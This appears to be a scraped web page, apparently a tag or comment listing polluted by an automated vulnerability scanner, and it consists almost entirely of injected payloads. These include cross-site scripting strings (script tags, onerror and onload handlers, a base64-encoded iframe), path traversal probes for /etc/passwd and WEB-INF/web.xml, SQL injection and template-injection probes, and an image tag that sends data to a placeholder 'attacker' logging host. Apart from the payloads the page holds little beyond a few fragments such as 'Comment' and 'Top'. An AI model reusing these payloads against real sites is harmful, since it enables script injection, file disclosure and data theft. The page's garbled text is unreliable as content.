    JyI=
  • <!--

    1
  • /etc/passwd

    1
  • comment/.

    1
  • lwqibllw

    '"()&%<acx><ScRiPt >epDN(9258)</ScRiPt>
  • %2fetc%2fpasswd

    1
  • lsoroukb

    (select convert(int,CHAR(65)))
  • lwqibllw

    1_9477
  • lsoroukb

    1
  • 1'"

    1
  • \

    1
  • lwqibllw

    acu7300<s1﹥s2ʺs3ʹuca7300
  • @@4VAJK

    1
  • JyI=

    1
  • lwqibllw

    {{10000222*9999195}}
  • (select convert(int,CHAR(65)))

    1
  • lwqibllw

    1<ScRiPt >epDN(9647)</ScRiPt>
  • lwqibllw

    1<W7V5CC>W3BDM[!+!]</W7V5CC>
  • lwqibllw

    1<script>epDN(9657)</script>
  • lwqibllw

    1<ScR<ScRiPt>IpT>epDN(9518)</sCr<ScRiPt>IpT>
  • lwqibllw

    1<ScRiPt >epDN(9152)</ScRiPt>
  • lwqibllw

    1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9407></ScRiPt>
  • lwqibllw

    1<ScRiPt >epDN(9103)</ScRiPt>
  • file:///etc/passwd

    1
  • /\../\../\../\../\../\../\../etc/passwd

    1
  • WEB-INF/web.xml

    1
  • /WEB-INF/web.xml

    1
  • WEB-INF\web.xml

    1
  • lwqibllw

    1<video><source onerror="javascript:epDN(9929)">
  • lwqibllw

    1<isindex type=image src=1 onerror=epDN(9673)>
  • lwqibllw

    1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9379'>
  • lwqibllw

    1<body onload=epDN(9743)>
  • lwqibllw

    1<img src=//testasp.vulnweb.com/t/dot.gif onload=epDN(9606)>
  • lwqibllw

    1<img src=xyz OnErRor=epDN(9530)>
  • lwqibllw

    1<img/src=">" onerror=alert(9383)>
  • lwqibllw

    %31%3C%53%63%52%69%50%74%20%3E%65%70%44%4E%289609%29%3C%2F%73%43%72%69%70%54%3E
  • lwqibllw

    1\u003CScRiPt\epDN(9247)\u003C/sCripT\u003E
  • lwqibllw

    1&lt;ScRiPt&gt;epDN(9946)&lt;/sCripT&gt;
  • lwqibllw

    1<input autofocus onfocus=epDN(9632)>
  • lwqibllw

    <a HrEF=http://www.vulnweb.com></a>
  • lwqibllw

    <a HrEF=jaVaScRiPT:>
  • lwqibllw

    [url=http://www.vulnweb.com][/url]
  • lwqibllw

    1<img<!-- --> src=x onerror=alert(9869);//><!-- -->
  • lwqibllw

    1}body{acu:Expre/**/SSion(epDN(9461))}
  • lwqibllw

    1<% contenteditable onresize=epDN(9515)>
  • lwqibllw

    1_V6VVe <ScRiPt >epDN(9799)</ScRiPt>
  • lwqibllw

    1<WMZQ4C>FI30Y[!+!]</WMZQ4C>
  • lwqibllw

    1<ifRAme sRc=9678.com></IfRamE>
  • lwqibllw

    1<7kBIh6 x=9352>
  • lwqibllw

    1<img sRc='http://attacker-9786/log.php?
  • lwqibllw'"()&%<acx><ScRiPt >epDN(9045)</ScRiPt>

    1
  • '"()&%<acx><ScRiPt >epDN(9921)</ScRiPt>

    1
  • lwqibllw_9086

    1
  • acu10556<s1﹥s2ʺs3ʹuca10556

    1
  • {{9999628*9999253}}

    1
  • lwqibllw<ScRiPt >epDN(9675)</ScRiPt>

    1
  • lwqibllw<WCD7HA>DSPIZ[!+!]</WCD7HA>

    1
  • lwqibllw<script>epDN(9473)</script>

    1
  • lwqibllw<ScRiPt >epDN(9787)</ScRiPt>

    1
  • lwqibllw<ScRiPt >epDN(9302)</ScRiPt>

    1
  • lwqibllw<body onload=epDN(9006)>

    1
  • lwqibllw<img src=xyz OnErRor=epDN(9993)>

    1
  • lwqibllw<img/src=">" onerror=alert(9885)>

    1
  • lwqibllw\u003CScRiPt\epDN(9323)\u003C/sCripT\u003E

    1
  • lwqibllw&lt;ScRiPt&gt;epDN(9996)&lt;/sCripT&gt;

    1
  • lwqibllw<input autofocus onfocus=epDN(9252)>

    1
  • <a HrEF=http://www.vulnweb.com></a>

    1
  • <a HrEF=jaVaScRiPT:>

    1
  • [url=http://www.vulnweb.com][/url]

    1
  • lwqibllw}body{acu:Expre/**/SSion(epDN(9244))}

    1
  • lwqibllw<% contenteditable onresize=epDN(9446)>

    1
  • lwqibllw_I09zQ <ScRiPt >epDN(9104)</ScRiPt>

    1
  • lwqibllw<WINQRC>RMVIO[!+!]</WINQRC>

    1
  • lwqibllw<ifRAme sRc=9648.com></IfRamE>

    1
  • lwqibllw<lMwMOv x=9465>

    1
  • lwqibllw<img sRc='http://attacker-9126/log.php?

    1

Comment

Top